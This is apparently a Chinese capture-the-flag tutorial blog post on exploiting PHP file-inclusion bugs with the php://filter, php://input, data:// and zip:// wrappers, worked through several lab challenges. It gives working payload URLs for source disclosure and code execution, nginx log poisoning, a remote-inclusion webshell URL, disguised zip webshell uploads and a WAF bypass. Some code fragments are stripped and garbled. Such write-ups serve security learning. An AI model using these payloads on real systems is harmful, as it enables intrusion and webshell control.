伪协议
- 常用场景:文件包含 ,文本包含
常用的伪协议有
- php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码)
- php://input 任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据。
- data://text/plain 任意代码执行
- zip:// 配合文件上传开启后门
";echo "";echo "";echo "";echo "";include_once($file);?> flag 在flag.php中
比如上面这个: ini_set(“allow_url_include”,”on”); 就可以利用
php://filter 读取文件源码
使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取文件的源码了
例题1
以这个题为例:题目提示在flag.php当中,我们使用base64对flag.php文件进行编码,可以看到页面中展示了编码后的文件内容,然后对返回结果base就行了
127.0.0.1/?file=php://filter/read=convert.base64-encode/resource=flag.php
例题2
127.0.0.1:28096/?filter=php://filter/convert.base64-encode/resource=flag.php
根据提示,访问flag.php 发现是空白的?其实这两题差不多都是一样的了,这里的变量是GET ‘filter’ 传参,因此就想到了伪协议文件包含,构造payload,然后返回base在解码就行了
php://input
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效
- ?url=php://input — GET请求参数中使用php://input协议
- — post请求体中的内容会被当做文件内容执行
例题1
访问是这个 看到了include函数,那我们就用,文件包含php://input这个伪协议
127.0.0.1/?url=php://input
记住这里是post传参,
它返回 ctf_go_go_go index.php,
我们构造 cat 访问这个路径,就找到了flag了
例题2
页面和上面一样,不过进行了过滤,返回错误。看数据包的话,是nginx,因此使用日志包含
查看日志信息,发现服务器是nginx;
通过查看请求头可以知道服务器为nginx,nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。
在日志包含中,找到nginx的log有两种:
......?url=/var/log/nginx/access.log......?url=/var/log/nginx/error.log这里:?url=/var/log/nginx/access.log可以打开
进行日志注入
为了防止url编码,需要在burp中修改User-Agent
GET /?url=/var/log/nginx/access.log HTTP/1.1Host: 4509ff3b-f6af-4f36-8e9e-3e3a1c9842a6.challenge.ctf.showUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
写入,然后连接就行了;ctfshow{9dcfdfb9-02c4-4597-afd8-90074bb20784}
补充
这里网上除了日志包含,还可以用远程文件包含方法;进行内网穿透,将端口映射到本地的80端口上,打开自己电脑上的服务器,将一句话文件写入,直接连接。相应的平台可参考 natapp;ngrok;蜻蜓映射
大概就是,当然如果你有自己的服务器的话也可以,在当中编写一句话(服务器已启动http协议,然后构造如下参数,就可以和上面一样愉快的连接拉
http://127.0.0.1/?url=http://xxx.xxx.xxx.xxx/shell.php |
data://
协议格式: data:资源类型;编码,内容
data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
?url=data://text/plain,
实操
//这里是构造成功的flag:NSSCTF{30590d16-19a2-454a-91d2-86c6e02ead2d}
这段 PHP 代码的作用是:接收一个名为 “cxk” 的 GET 参数,读取该参数指定的文件内容并与字符串 “ctrl” 进行比较。如果相等,则输出 $flag 的值;否则输出 “洗洗睡吧”。如果没有传递 “cxk” 参数,则输出 “nononoononoonono”。
根据代码审计以及file_get_contents读取文件内容函数我们可以知道我们需要传入一个文件,里面的内容是”CTRL“(苏珊)那我们就要利用data://伪协议
直接传入‘ctrl’不行,可能是过滤了,只能用base64加密传入,然后就可以了
127.0.0.1:28234/orzorz.php?cxk=data://text/plain;base64,Y3RybA==
ZIP://
zip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell
将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马
?url=zip://shell.jpg
实操
- 这一题涉及三种伪协议,因此单独列了出来
读取文件源码
打开根据提示,”hint is hear Can you find out the hint.php?“让我们找到”hint.php”.首先想到了构造php://filter 读取文件源码,那我们就可以用第一个获取flag方式把他换成hint.php不就可以了吗
?url=php://filter/read=convert.base64-encode/resource=hint.php
返回base解码得到一个提示,然后我们访问 :test2222222222222.php
接下来有两种解题方案
①和②都可以;这里连接的时候要用&a连接,别像我刚开始用”/“,
①任意代码执行php://input
这里第一种构造用php://input 代码的意思$a是如果读取的内容等于字符串 “I want flag“,则输出 “success” 和一个名为 $flag 的变量的值
http://node2.anna.nssctf.cn:28656/index.php?wllm=test2222222222222.php&a=php://input
②任意代码执行data://
data:// 是一种伪协议,用于表示将数据内联嵌入到 URL 中。data:// 协议后面跟着标识数据格式的 MIME 类型和编码方式,可以将文本、图片、音频等数据编码为 Base64 格式,并直接嵌入到 URL 中。
data://本身是数据流封装器,其原理和用法跟php://input类似,但是是发送GET请求参数 &
url/test2222222222222.php&a=data://text/plain,I want flag
[NSSRound#8 Basic]MyDoor
题目描述“一个普通的后门”,空白的没东西?
127.0.0.1:28380/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
file=伪协议?传一下看看在base解码
发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S 用N[S.S 传参,访问 phpinfo()
127.0.0.1:28380/?N[S.S=phpinfo();
[鹏城杯 2022]简单包含
打开用POST ,构造伪协议,上传然后有waf,该怎末绕过呢?我看大佬们使用长语句绕过
1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/read=convert.base64-encode/resource=flag.php
或者用bp都一样,在解码就行了
来源地址:https://blog.csdn.net/IDHALASHAO/article/details/130368938